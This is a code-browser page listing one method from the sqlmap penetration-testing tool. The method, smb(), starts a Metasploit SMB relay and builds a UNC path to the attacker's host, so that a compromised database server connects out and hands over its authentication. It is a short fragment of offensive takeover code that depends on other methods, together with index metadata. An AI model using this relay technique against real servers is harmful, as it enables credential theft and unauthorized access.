MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / smb

Method smb

lib/takeover/metasploit.py:682–695  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

680 self.delRemoteFile(self.shellcodeexecRemote)
681
682 def smb(self):
683 Metasploit._initVars(self)
684 self._randFile = "tmpu%s.txt" % randomStr(lowercase=True)
685
686 self._runMsfCliSmbrelay()
687
688 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
689 self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
690 else:
691 self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
692
693 debugMsg = "Metasploit Framework console exited with return "
694 debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
695 logger.debug(debugMsg)
696
697 def bof(self):
698 self._runMsfCli(exitfunc="seh")

Callers 1

osSmbMethod · 0.80

Calls 6

_runMsfCliSmbrelayMethod · 0.95
_controlMsfCmdMethod · 0.95
randomStrFunction · 0.90
getIdentifiedDbmsMethod · 0.80
debugMethod · 0.80
_initVarsMethod · 0.45

Tested by

no test coverage detected